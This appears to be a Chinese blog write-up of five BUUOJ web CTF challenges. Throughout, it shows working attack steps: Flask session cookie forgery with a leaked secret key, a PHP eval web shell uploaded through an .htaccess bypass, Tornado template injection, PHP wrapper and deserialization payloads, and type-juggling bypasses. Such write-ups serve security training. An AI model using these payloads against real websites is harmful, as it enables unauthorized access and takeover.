[HCTF 2018]admin
打开环境，有三处提示，一个跳转链接，一个登录注册，一个提示不是admin
点击hctf，无法访问
注册个账号，依旧无法查看，看来需要admin账号
弱口令
爆破密码
当密码未123长度明显不同
登录
session伪造
在修改密码界面，提示session
下载该源码查看，index.php
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %} //session的name=admin才行
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>{% include('footer.html') %}
session值
.eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg
在config.py中
import os
class Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' //secret_key=ckj123SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True
工具下载
git clone https://github.com/noraj/flask-session-cookie-manager
解密：
python3 flask_session_cookie_manager3.py decode -c .eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg -s ckj123
解密结果，这里我们需要将name改成admin
{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'track', 'user_id': '10'}
进行session伪造
python3 flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'admin', 'user_id': '10'}" -s ckj123
伪造的session
.eJw9UE2PgjAQ_SubOXuQghcTD26KBpJpgykh04txEYFi3QQ1QI3_faubeJi8w_uYN_OA_amvrg0sb_29msG-PcLyAV8_sASy2iCvF6gokEU8IaOBimQueTcJlg2afzey2JylykdyuwZNHAmXh7pIvTN2wsYM7c6QWjPhMoeqDsh6ncVRvjTce_mmJdOFssAFuXgSvJwLlgTe6zFjpHyHIo_EdnMmV4d6mwd6S6PkyaTN2vnsyM8KnjMor_1pf_vtqsvnBDTlIBQxZFlIph6F8We4tNMmH5B3EfLSV_erVNq-kMzRYL16x7X2UFefpOrcxHn2z1wO1hNwONr2AjO4X6v-_TcI5vD8A-oIbNE.Z7qUFw.wgQI2lOZR0DLoEc8neo5vNoDBaU
在初始页面包中修改session，拿到flag
[MRCTF2020]你传你🐎呢
本题：上传一句话木马判断过滤方式，白名单/黑名单，成功绕过之后，找上传路径，访问该路径，如果没有解析出来，需要抓包上传.htaccess文件，使上传的木马文件正常解析，然后再次访问木马文件，成功解析之后再用蚁剑链接
当我们上传文件时，会随机生成上传路径(即一个目录)，如果只是单独的一个shell.jpg是无法正常解析的，需要.htaccess文件使在同一目录下被包含的文件正常解析，如下
打开环境，是文件上传
这里测试之后发现过滤了php，phtml等文件，而且上传的木马文件会无法解析，所以这题需要利用文件绕过
上传图片马文件，然后查看路径，会发现浏览器无法正常解析
上传一个htaccess文件然后抓包修改
然后上传木马文件
track
<?php @eval($_POST["a"]);?>
访问该路径，正常解析
使用蚁剑连接即可
[护网杯 2018]easy_tornado
打开环境，有三处跳转
逐个查看
flag.txt，提示flag在/fllllllllllllag
welcome.txt，给了一个render
hint.txt，告诉了一个格式md5(cookie_secret+md5(filename))
在访问的时候我们注意到，url存在相同格式
url/file?filename=/文件名&filehash=32位小写md5
所以说这题应该是要利用flag路径然后找到cookie_secret然后进行md5加密，结合题目应该是tornamo模板注入漏洞
当报错时，会有一个msg参数，会回显输入的值
看看{{7*7}}
在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是我们的一些环境变量，这里面就存在我们需要的cookie_secret
拿到之后就可以加密求解了
md5(1aafd574-698c-4ae2-9caa-80f45c8af977+md5(/fllllllllllllag))
#md5(1aafd574-698c-4ae2-9caa-80f45c8af9773bf9f6cf685a6dd8defadabfb41a03a1)
#6150fe6edda96aee462235e6fe5e6b9d
拿到flag
[ZJCTF 2019]NiZhuanSiWei
打开环境，是如下源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //用了强比较===，检查text变量是否是welcome to the zjctfecho "<br><h1>".file_get_contents($text,'r')."</h1></br>"; //是则输出if(preg_match("/flag/",$file)){ //禁止了file变量中存在/flag字符串echo "Not now!";exit(); }else{include($file); //useless.php //可能需要读取useless.php$password = unserialize($password); //将password反序列化echo $password;}
}
else{highlight_file(__FILE__);
}
?>
先用data url绕过第一层
url?text=data://text/plain,welcome to the zjctf
利用php伪协议读取useless.php
url/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码得到useless.php的源码
<?php class Flag{ //flag.php //定义Flag类public $file; //定义file属性，存储文件路径或文件名。由于它是公共的，外部代码可以直接访问和修改它。public function __tostring(){ //一种魔术方法，当对象被当作字符串使用时会被自动调用，如echo，print if(isset($this->file)){ echo file_get_contents($this->file); //打印file属性指向的文件echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
进行序列化
拿到序列化内容
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
进行拼接得到最终pyload
http://9d48ea6b-724a-4517-b3d8-a12b5eb11352.node5.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码得到flag
[MRCTF2020]Ez_bypass
打开环境，是如下源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) { //get方式传入gg和id两个参数$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) { //====强比较，md5值相同，本身不同echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)) //如果不是纯数字，进入下一层{if($passwd==1234567) //检查passwd位1234567，{echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
}Please input first
第一层
利用数组绕过
第二层
这里需要利用php特性，==是弱比较类型，由于php是一种弱语言，所以在比较时会自动转化位同一类型，这里利用了intval函数，而本体函数不能是纯数字，并且也必须=1234567，故可以用数字+字符拼接绕过，因为字符不会被转换，及1234567aa=1234567
拿到flag
![[QOJ 8366] 火车旅行](https://img2024.cnblogs.com/blog/3584318/202502/3584318-20250224140737540-1060414145.png)
